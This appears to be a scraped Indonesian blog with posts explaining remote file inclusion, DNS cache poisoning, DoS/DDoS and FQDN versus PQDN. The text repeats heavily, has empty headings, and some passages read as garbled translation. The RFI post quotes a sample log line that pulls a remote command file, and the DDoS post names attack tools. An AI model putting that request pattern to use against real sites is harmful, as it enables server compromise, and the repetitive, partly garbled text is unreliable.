Assalamu alaikum.....
Mari kita lanjutkan teknik hacking yaitu RFI.Lalu apa itu RFI? ayo kita bahas bersama.....
Remote File Inclusion ( RFI )
pengertian
Remote file inclusion dapat diartikan sebagai penyisipan sebuah file dari luar suatu file dalam sebuah webserver dengan tujuan script didalam akan dieksekusi pada saat file yang disisipi di-load. Tehnik ini sendiri mengharuskan webserver yang bersangkutan mampu menjalankan server side scripting (PHP, ASP, etc) serta file yang disisipi dibuat menggunakan bahasa script tersebut. Target remote file inclusion
biasanya berbentuk sebuah portal atau content management system (CMS) sehingga banyak sekali jumlah website yang rawan terhadap serangan tipe ini.
Sebuah serangan file inclusion terjadi didasarkan pada kesalahan atau ketidaksengajaan pendeklarasian variabel-variabel dalam sebuah file. Sebuah variabel yang tidak dideklarasikan atau didefinisikan secara benar dapat di eksploitasi.
Resiko yang dihadapi
File inclusion memiliki level resiko tinggi (High Risk) bahkan level sangat berbahaya(Very Dangerous) karena injeksi memperkenankan pelakunya untuk melakukan eksekusi perintah jarak jauh (Remote Commands Execution) terhadap server. Tindakan ini sangat membahayakan bagi sebuah server jika pelakunya mencoba untuk mendapatkan hak akses lebih tinggi dengan cara melakukan eksploitasi lokal, sehingga bisa saja pelaku mendapatkan akses administrator atau root.
Secara garis besar resiko serangan ini adalah:
1. Web root folder / subdirectory defacing.
2. Previledge escalation (mendapatkan hak akses lebih tinggi).
3. Menjalankan proses dalam server (psyBNC, bots, dsb)
4. Pilfering a.k.a pencurian data (such as credentials information, credit cards, dll..)
5. Dan banyak lagi…!!! Termasuk tindakan pengambilalihan server dan DDoS.
Hal-hal yang perlu diketahui untuk menghindari serangan RFI
Banyak sekali portal dan komunitas white hat yang sering merilis bugs terbaru seputar injeksi. Cara paling aman adalah selalu memperhatikan perkembangan yang mereka lakukan sehingga anda dapat melakukan sedikit perbaikan yang berarti terhadap CMS yang mungkin sekarang anda gunakan. Selalu perhatikan raw log yang biasanya terdapat pada layanan hosting anda. Jika terdapat fetching yang agak menyimpang seperti GET /index.php?page=http://www.injek-pake-kaki.net/cmd? anda wajib curiga,
karena bisa saja ini serangan terhadap web atau portal yang anda kelola.
Salah satu tehnik paling aman bagi seorang administrator adalah selalu memperhatikan usaha-usaha infiltrasi dan usaha eksploitasi lokal. Gunakan firewall guna mencegah penyusupan orang-orang yang tidak bertanggung jawab dan memperhatikan port-port server yang sedang terbuka.
Kamis, Februari 24, 2011
DNS Cache Poisoning (Teknik Hacking jilid 2 )
Assalamu alaikum.....
Oke kita lanjutkan teknik hacking kedua yaitu DNS Cache Poisoning.Yang belum baca jilid pertama saya akan menjelaskan kembali.
Teknik hacking sendiri memiliki banyak istilah dan penamaan tergantung apa yang akan di-hack.Namun dasar istilah dari teknik hacking adalah :
oke sekarang kita bahas DNS Cache Poisoning, monggo.....
DNS Cache Poisoning
Pengertian
Sejarah
Oke kita lanjutkan teknik hacking kedua yaitu DNS Cache Poisoning.Yang belum baca jilid pertama saya akan menjelaskan kembali.
Teknik hacking sendiri memiliki banyak istilah dan penamaan tergantung apa yang akan di-hack.Namun dasar istilah dari teknik hacking adalah :
- Serangan DoS (Denial of Service)
- DNS cache Poisoning
- IP Spoofing
- Remote File Inclusion (RFI)
- Buffer Overflow
oke sekarang kita bahas DNS Cache Poisoning, monggo.....
DNS Cache Poisoning
Pengertian
DNS Cache Poisoning merupakan sebuah cara untuk menembus pertahanan dengan cara menyampaikan informasi IP Address yang salah mengenai sebuah host, dengan tujuan untuk mengalihkan lalu lintas paket data dari tujuan yang sebenarnya. Cara ini banyak dipakai untuk menyerang situs-situs e-commerce dan banking yang saat ini bisa dilakukan dengan cara online dengan pengamanan Token. Teknik ini dapat membuat sebuah server palsu tampil identik dengan dengan server online banking yang asli. Oleh karena itu diperlukan digital cerficate untuk mengamankannya, agar server palsu tidak dapat menangkap data otentifikasi dari nasabah yang mengaksesnya. Jadi dapat disimpulkan cara kerja DNS (Domain Name System) poisoning ini adalah dengan mengacaukan DNS Server asli agar pengguna Internet terkelabui untuk mengakses web site palsu yang dibuat benar-benar menyerupai aslinya tersebut, agar data dapat masuk ke server palsu.
Sejarah
DNS Poisoning sendiri dahulu pertama kali ditunjukkan tahun 1997 oleh Eugene Kashpureff dengan cara mengalihkan request ke host InterNIC menuju ke situs pendaftaran domain name alternatif, AlterNIC. Request berhasil dialihkan dengan cara mengeksploitasi vulnerability pada DNS Service. Pada waktu Name Server menerima jawaban DNS Query, sumber jawaban ini membiarkan informasi yang tidak ditanyakan. Dengan begitu Kashpureff dapat memasukkan informasi DNS palsu pada jawaban yang sebenarnya tersebut. Name server yang menerima jawaban tersebut akan langsung menerima jawaban tersebut dan menyimpan informasi apapun yang didapatkannya dalam cache-nya. Hal ini mengakibatkan apabila user mencoba me-resolve suatu host dalam domain InterNIC, maka ia akan menerima informasi IP Address dari AlterNIC. Dengan kata lain ia sudah dialihkan ke alamat palsu.
DoS dan DDoS (teknik hacking jilid 1)
Assalamu alaikum.....
kali ini saya akan menjelaskan teknik hacking di internet.Tapi yang perlu diketahui sekalian bahwa hacker bukanlah para kriminal.Pengertian hacker sendiri adalah orang ahli dalam masalah sistem keamanan jaringan jadi bukan berarti "hacker" adalah "kriminal".
Teknik hacking sendiri memiliki banyak istilah dan penamaan tergantung apa yang akan di-hack.Namun dasar istilah dari teknik hacking adalah :
DoS dan DDoS
DoS
Serangan DoS (bahasa Inggris: denial-of-service attacks') adalah jenis serangan terhadap sebuah komputer atau server di dalam jaringan internet dengan cara menghabiskan sumber (resource) yang dimiliki oleh komputer tersebut sampai komputer tersebut tidak dapat menjalankan fungsinya dengan benar sehingga secara tidak langsung mencegah pengguna lain untuk memperoleh akses layanan dari komputer yang diserang tersebut.
Dalam sebuah serangan Denial of Service, si penyerang akan mencoba untuk mencegah akses seorang pengguna terhadap sistem atau jaringan dengan menggunakan beberapa cara, yakni sebagai berikut:
* Membanjiri lalu lintas jaringan dengan banyak data sehingga lalu lintas jaringan yang datang dari pengguna yang terdaftar menjadi tidak dapat masuk ke dalam sistem jaringan. Teknik ini disebut sebagai traffic flooding.
* Membanjiri jaringan dengan banyak request terhadap sebuah layanan jaringan yang disedakan oleh sebuah host sehingga request yang datang dari pengguna terdaftar tidak dapat dilayani oleh layanan tersebut. Teknik ini disebut sebagai request flooding.
* Mengganggu komunikasi antara sebuah host dan kliennya yang terdaftar dengan menggunakan banyak cara, termasuk dengan mengubah informasi konfigurasi sistem atau bahkan perusakan fisik terhadap komponen dan server.
Bentuk serangan Denial of Service awal adalah serangan SYN Flooding Attack, yang pertama kali muncul pada tahun 1996 dan mengeksploitasi terhadap kelemahan yang terdapat di dalam protokol Transmission Control Protocol (TCP). Serangan-serangan lainnya akhirnya dikembangkan untuk mengeksploitasi kelemahan yang terdapat di dalam sistem operasi, layanan jaringan atau aplikasi untuk menjadikan sistem, layanan jaringan, atau aplikasi tersebut tidak dapat melayani pengguna, atau bahkan mengalami crash. Beberapa tool yang digunakan untuk melakukan serangan DoS pun banyak dikembangkan setelah itu (bahkan beberapa tool dapat diperoleh secara bebas), termasuk di antaranya Bonk, LAND, Smurf, Snork, WinNuke, dan Teardrop.
Meskipun demikian, serangan terhadap TCP merupakan serangan DoS yang sering dilakukan. Hal ini disebabkan karena jenis serangan lainnya (seperti halnya memenuhi ruangan hard disk dalam sistem, mengunci salah seorang akun pengguna yang valid, atau memodifikasi tabel routing dalam sebuah router) membutuhkan penetrasi jaringan terlebih dahulu, yang kemungkinan penetrasinya kecil, apalagi jika sistem jaringan tersebut telah diperkuat.
DDoS
Penolakan Layanan secara Terdistribusi (bahasa Inggris: Distributed Denial of Service (DDos)) adalah salah satu jenis serangan Denial of Service yang menggunakan banyak host penyerang (baik itu menggunakan komputer yang didedikasikan untuk melakukan penyerangan atau komputer yang "dipaksa" menjadi zombie) untuk menyerang satu buah host target dalam sebuah jaringan.
Serangan Denial of Service klasik bersifat "satu lawan satu", sehingga dibutuhkan sebuah host yang kuat (baik itu dari kekuatan pemrosesan atau sistem operasinya) demi membanjiri lalu lintas host target sehingga mencegah klien yang valid untuk mengakses layanan jaringan pada server yang dijadikan target serangan. Serangan DDoS ini menggunakan teknik yang lebih canggih dibandingkan dengan serangan Denial of Service yang klasik, yakni dengan meningkatkan serangan beberapa kali dengan menggunakan beberapa buah komputer sekaligus, sehingga dapat mengakibatkan server atau keseluruhan segmen jaringan dapat menjadi "tidak berguna sama sekali" bagi klien.
Serangan DDoS pertama kali muncul pada tahun 1999, tiga tahun setelah serangan Denial of Service yang klasik muncul, dengan menggunakan serangan SYN Flooding, yang mengakibatkan beberapa server web di Internet mengalami "downtime". Pada awal Februari 2000, sebuah serangan yang besar dilakukan sehingga beberapa situs web terkenal seperti Amazon, CNN, eBay, dan Yahoo! mengalami "downtime" selama beberapa jam. Serangan yang lebih baru lagi pernah dilancarkan pada bulan Oktober 2002 ketika 9 dari 13 root DNS Server diserang dengan menggunakan DDoS yang sangat besar yang disebut dengan "Ping Flood". Pada puncak serangan, beberapa server-server tersebut pada tiap detiknya mendapatkan lebih dari 150000 request paket Internet Control Message Protocol (ICMP). Untungnya, karena serangan hanya dilakukan selama setengah jam saja, lalu lintas Internet pun tidak terlalu terpengaruh dengan serangan tersebut (setidaknya tidak semuanya mengalami kerusakan).
Tidak seperti akibatnya yang menjadi suatu kerumitan yang sangat tinggi (bagi para administrator jaringan dan server yang melakukan perbaikan server akibat dari serangan), teori dan praktek untuk melakukan serangan DDoS justru sederhana, yakni sebagai berikut:
1. Menjalankan tool (biasanya berupa program (perangkat lunak) kecil) yang secara otomatis akan memindai jaringan untuk menemukan host-host yang rentan (vulnerable) yang terkoneksi ke Internet. Setelah host yang rentan ditemukan, tool tersebut dapat menginstalasikan salah satu jenis dari Trojan Horse yang disebut sebagai DDoS Trojan, yang akan mengakibatkan host tersebut menjadi zombie yang dapat dikontrol secara jarak jauh (bahasa Inggris: remote) oleh sebuah komputer master yang digunakan oleh si penyerang asli untuk melancarkan serangan. Beberapa tool (software} yang digunakan untuk melakukan serangan serperti ini adalah TFN, TFN2K, Trinoo, dan Stacheldraht, yang dapat diunduh (bahasa Inggris: download) secara bebas di Internet.
2. Ketika si penyerang merasa telah mendapatkan jumlah host yang cukup (sebagai zombie) untuk melakukan penyerangan, penyerang akan menggunakan komputer master untuk memberikan sinyal penyerangan terhadap jaringan target atau host target. Serangan ini umumnya dilakukan dengan menggunakan beberapa bentuk SYN Flood atau skema serangan DoS yang sederhana, tapi karena dilakukan oleh banyak host zombie, maka jumlah lalu lintas jaringan yang diciptakan oleh mereka adalah sangat besar, sehingga "memakan habis" semua sumber daya Transmission Control Protocol yang terdapat di dalam komputer atau jaringan target dan dapat mengakibatkan host atau jaringan tersebut mengalami "downtime".
Teknik hacking sendiri memiliki banyak istilah dan penamaan tergantung apa yang akan di-hack.Namun dasar istilah dari teknik hacking adalah :
- Serangan DoS (Denial of Service)
- DNS cache Poisoning
- IP Spoofing
- Remote File Inclusion (RFI)
- Buffer Overflow
DoS dan DDoS
DoS
Serangan DoS (bahasa Inggris: denial-of-service attacks') adalah jenis serangan terhadap sebuah komputer atau server di dalam jaringan internet dengan cara menghabiskan sumber (resource) yang dimiliki oleh komputer tersebut sampai komputer tersebut tidak dapat menjalankan fungsinya dengan benar sehingga secara tidak langsung mencegah pengguna lain untuk memperoleh akses layanan dari komputer yang diserang tersebut.
Dalam sebuah serangan Denial of Service, si penyerang akan mencoba untuk mencegah akses seorang pengguna terhadap sistem atau jaringan dengan menggunakan beberapa cara, yakni sebagai berikut:
* Membanjiri lalu lintas jaringan dengan banyak data sehingga lalu lintas jaringan yang datang dari pengguna yang terdaftar menjadi tidak dapat masuk ke dalam sistem jaringan. Teknik ini disebut sebagai traffic flooding.
* Membanjiri jaringan dengan banyak request terhadap sebuah layanan jaringan yang disedakan oleh sebuah host sehingga request yang datang dari pengguna terdaftar tidak dapat dilayani oleh layanan tersebut. Teknik ini disebut sebagai request flooding.
* Mengganggu komunikasi antara sebuah host dan kliennya yang terdaftar dengan menggunakan banyak cara, termasuk dengan mengubah informasi konfigurasi sistem atau bahkan perusakan fisik terhadap komponen dan server.
Bentuk serangan Denial of Service awal adalah serangan SYN Flooding Attack, yang pertama kali muncul pada tahun 1996 dan mengeksploitasi terhadap kelemahan yang terdapat di dalam protokol Transmission Control Protocol (TCP). Serangan-serangan lainnya akhirnya dikembangkan untuk mengeksploitasi kelemahan yang terdapat di dalam sistem operasi, layanan jaringan atau aplikasi untuk menjadikan sistem, layanan jaringan, atau aplikasi tersebut tidak dapat melayani pengguna, atau bahkan mengalami crash. Beberapa tool yang digunakan untuk melakukan serangan DoS pun banyak dikembangkan setelah itu (bahkan beberapa tool dapat diperoleh secara bebas), termasuk di antaranya Bonk, LAND, Smurf, Snork, WinNuke, dan Teardrop.
Meskipun demikian, serangan terhadap TCP merupakan serangan DoS yang sering dilakukan. Hal ini disebabkan karena jenis serangan lainnya (seperti halnya memenuhi ruangan hard disk dalam sistem, mengunci salah seorang akun pengguna yang valid, atau memodifikasi tabel routing dalam sebuah router) membutuhkan penetrasi jaringan terlebih dahulu, yang kemungkinan penetrasinya kecil, apalagi jika sistem jaringan tersebut telah diperkuat.
DDoS
Penolakan Layanan secara Terdistribusi (bahasa Inggris: Distributed Denial of Service (DDos)) adalah salah satu jenis serangan Denial of Service yang menggunakan banyak host penyerang (baik itu menggunakan komputer yang didedikasikan untuk melakukan penyerangan atau komputer yang "dipaksa" menjadi zombie) untuk menyerang satu buah host target dalam sebuah jaringan.
Serangan Denial of Service klasik bersifat "satu lawan satu", sehingga dibutuhkan sebuah host yang kuat (baik itu dari kekuatan pemrosesan atau sistem operasinya) demi membanjiri lalu lintas host target sehingga mencegah klien yang valid untuk mengakses layanan jaringan pada server yang dijadikan target serangan. Serangan DDoS ini menggunakan teknik yang lebih canggih dibandingkan dengan serangan Denial of Service yang klasik, yakni dengan meningkatkan serangan beberapa kali dengan menggunakan beberapa buah komputer sekaligus, sehingga dapat mengakibatkan server atau keseluruhan segmen jaringan dapat menjadi "tidak berguna sama sekali" bagi klien.
Serangan DDoS pertama kali muncul pada tahun 1999, tiga tahun setelah serangan Denial of Service yang klasik muncul, dengan menggunakan serangan SYN Flooding, yang mengakibatkan beberapa server web di Internet mengalami "downtime". Pada awal Februari 2000, sebuah serangan yang besar dilakukan sehingga beberapa situs web terkenal seperti Amazon, CNN, eBay, dan Yahoo! mengalami "downtime" selama beberapa jam. Serangan yang lebih baru lagi pernah dilancarkan pada bulan Oktober 2002 ketika 9 dari 13 root DNS Server diserang dengan menggunakan DDoS yang sangat besar yang disebut dengan "Ping Flood". Pada puncak serangan, beberapa server-server tersebut pada tiap detiknya mendapatkan lebih dari 150000 request paket Internet Control Message Protocol (ICMP). Untungnya, karena serangan hanya dilakukan selama setengah jam saja, lalu lintas Internet pun tidak terlalu terpengaruh dengan serangan tersebut (setidaknya tidak semuanya mengalami kerusakan).
Tidak seperti akibatnya yang menjadi suatu kerumitan yang sangat tinggi (bagi para administrator jaringan dan server yang melakukan perbaikan server akibat dari serangan), teori dan praktek untuk melakukan serangan DDoS justru sederhana, yakni sebagai berikut:
1. Menjalankan tool (biasanya berupa program (perangkat lunak) kecil) yang secara otomatis akan memindai jaringan untuk menemukan host-host yang rentan (vulnerable) yang terkoneksi ke Internet. Setelah host yang rentan ditemukan, tool tersebut dapat menginstalasikan salah satu jenis dari Trojan Horse yang disebut sebagai DDoS Trojan, yang akan mengakibatkan host tersebut menjadi zombie yang dapat dikontrol secara jarak jauh (bahasa Inggris: remote) oleh sebuah komputer master yang digunakan oleh si penyerang asli untuk melancarkan serangan. Beberapa tool (software} yang digunakan untuk melakukan serangan serperti ini adalah TFN, TFN2K, Trinoo, dan Stacheldraht, yang dapat diunduh (bahasa Inggris: download) secara bebas di Internet.
2. Ketika si penyerang merasa telah mendapatkan jumlah host yang cukup (sebagai zombie) untuk melakukan penyerangan, penyerang akan menggunakan komputer master untuk memberikan sinyal penyerangan terhadap jaringan target atau host target. Serangan ini umumnya dilakukan dengan menggunakan beberapa bentuk SYN Flood atau skema serangan DoS yang sederhana, tapi karena dilakukan oleh banyak host zombie, maka jumlah lalu lintas jaringan yang diciptakan oleh mereka adalah sangat besar, sehingga "memakan habis" semua sumber daya Transmission Control Protocol yang terdapat di dalam komputer atau jaringan target dan dapat mengakibatkan host atau jaringan tersebut mengalami "downtime".
Minggu, Februari 20, 2011
Pengertian FQDN dan PQDN serta perbedaannya
ok sekarang kita masuk dalam FQDN dan PQDN
trus apa FQDN dan PQDN itu? yang jelas semua berhubungan dengan DNS (Domain Name Service)
jadi yang pertama kita harus tahu adalah DNS
DNS
lalu apa itu FQDN dan PQDN?
ayo kita simak
FQDN
jadi apa beda antar keduanya?
FQDN adalah sistem penamaan di DNS yang berisi seluruh nama host serta domainnya.
PQDN adalah sistem penamaan di DNS yang hanya berisi domain saja.
terima kasih telah membaca
smoga bermanfaat
trus apa FQDN dan PQDN itu? yang jelas semua berhubungan dengan DNS (Domain Name Service)
jadi yang pertama kita harus tahu adalah DNS
DNS
Untuk mengidentifikasi suatu entitas, internet menggunakan alamat IP, yang secara unik mengidentifikasi koneksi dari host ke Internet. Namun, orang lebih suka menggunakan nama daripada alamat numerik. Oleh karena itu, kita membutuhkan sebuah sistem yang dapat memetakan nama ke alamat atau alamat untuk nama. Ketika Internet kecil, pemetaan dilakukan menggunakan file host. File tuan rumah hanya memiliki dua kolom: satu untuk nama dan satu untuk alamat. Setiap host dapat menyimpan file host pada disk dan memperbaruinya secara berkala dari file host master. Ketika sebuah program atau pengguna ingin untuk memetakan nama ke alamat, host berkonsultasi dengan file host dan menemukan pemetaan.
Secara default pengertian DNS adalah sebuah sistem yang menyimpan informasi tentang nama host nama domain dalam bentuk basis data tersebar (distributed database) di dalam jaringan komputer, misalkan: Internet. DNS menyediakan alamat IP untuk setiap nama host dan mendata setiap server transmisi surat (mail exchange server) yang menerima surat elektronik (email) untuk setiap domain. maupun
dan sistem penamaan DNS ada 2 yaitu FQDN dan PQDN.Secara default pengertian DNS adalah sebuah sistem yang menyimpan informasi tentang nama host nama domain dalam bentuk basis data tersebar (distributed database) di dalam jaringan komputer, misalkan: Internet. DNS menyediakan alamat IP untuk setiap nama host dan mendata setiap server transmisi surat (mail exchange server) yang menerima surat elektronik (email) untuk setiap domain. maupun
DNS menyediakan servis yang cukup penting untuk Internet, bilamana perangkat keras komputer dan jaringan bekerja dengan alamat IP untuk mengerjakan tugas seperti pengalamatan dan penjaluran (routing), manusia pada umumnya lebih memilih untuk menggunakan nama host dan nama domain, contohnya adalah penunjukan sumber universal (URL) dan alamat email. DNS menghubungkan kebutuhan ini. Jadi penjelasan singkatnya ialah DNS adalah sebuah layanan atau service untuk memetakan alamat IP address menjadi huruf
lalu apa itu FQDN dan PQDN?
ayo kita simak
FQDN
Fully Qualifed Domain Name (disingkat menjadi FQDN), dalam sistem penamaan domain Domain Name System (DNS) merujuk kepada nama bertitik yang dapat mengidentifikasikan sebuah host Transmission Control Protocol/Internet Protocol (TCP/IP) di dalam jaringan dan Internet. FQDN juga sering disebut sebagai Absolute Domain Name. FQDN didiskusikan dalam RFC 1035, RFC 1123 dan RFC 2181.
Sebuah FQDN dari sebuah host mengandung nama host miliknya digabungkan dengan nama domain (dan subdomain) di mana host tersebut berada, yang kemudian dipisahkan dengan menggunakan tanda titik (.). FQDN umumnya digunakan di dalam Uniform Resource Locator (URL) yang digunakan untuk mengakses halaman web di dalam jaringan dan Internet dan membuat path absolut terhadap ruang nama (namespace) DNS ke host target di mana halaman web tersebut berada. FQDN berbeda dengan nama domain biasa karena FQDN merupakan nama absolut dari domain, sehingga sufiks domain tidak perlu ditambahkan.
Contoh FQDN: untuk sebuah nama FQDN id.wikipedia.org, dapat diambil pernyataan bahwa id merupakan nama host, dan wikipedia.org merupakan nama domain-nya. Panjang maksimum dari FQDN adalah 255 bita.
PQDN
domain berkualifikasi parsial (PQDN),. A PQDN mulai dari node tapi tidak mencapai akar. Hal ini digunakan ketika nama harus diselesaikan termasuk dalam situs yang sama sebagai klien. Berikut resolver bisa menyediakan bagian yang hilang, yang disebut akhiran, untuk menciptakan sebuah FQDN.
Misalnya, jika pengguna di fhda.edu tersebut. Situs ingin mendapatkan alamat IP dari komputer penantang, ia dapat mendefinisikan nama parsial Challenger
Klien DNS atc.fhda.edu menambahkan akhiran. Sebelum melewati alamat untuk server DNS. Klien DNS biasanya memegang daftar akhiran. Berikut dapat beberapa dari daftar sufiks di De Anza College.
Sebuah FQDN dari sebuah host mengandung nama host miliknya digabungkan dengan nama domain (dan subdomain) di mana host tersebut berada, yang kemudian dipisahkan dengan menggunakan tanda titik (.). FQDN umumnya digunakan di dalam Uniform Resource Locator (URL) yang digunakan untuk mengakses halaman web di dalam jaringan dan Internet dan membuat path absolut terhadap ruang nama (namespace) DNS ke host target di mana halaman web tersebut berada. FQDN berbeda dengan nama domain biasa karena FQDN merupakan nama absolut dari domain, sehingga sufiks domain tidak perlu ditambahkan.
Contoh FQDN: untuk sebuah nama FQDN id.wikipedia.org, dapat diambil pernyataan bahwa id merupakan nama host, dan wikipedia.org merupakan nama domain-nya. Panjang maksimum dari FQDN adalah 255 bita.
PQDN
domain berkualifikasi parsial (PQDN),. A PQDN mulai dari node tapi tidak mencapai akar. Hal ini digunakan ketika nama harus diselesaikan termasuk dalam situs yang sama sebagai klien. Berikut resolver bisa menyediakan bagian yang hilang, yang disebut akhiran, untuk menciptakan sebuah FQDN.
Misalnya, jika pengguna di fhda.edu tersebut. Situs ingin mendapatkan alamat IP dari komputer penantang, ia dapat mendefinisikan nama parsial Challenger
Klien DNS atc.fhda.edu menambahkan akhiran. Sebelum melewati alamat untuk server DNS. Klien DNS biasanya memegang daftar akhiran. Berikut dapat beberapa dari daftar sufiks di De Anza College.
jadi apa beda antar keduanya?
FQDN adalah sistem penamaan di DNS yang berisi seluruh nama host serta domainnya.
PQDN adalah sistem penamaan di DNS yang hanya berisi domain saja.
terima kasih telah membaca
smoga bermanfaat
Langganan:
Postingan (Atom)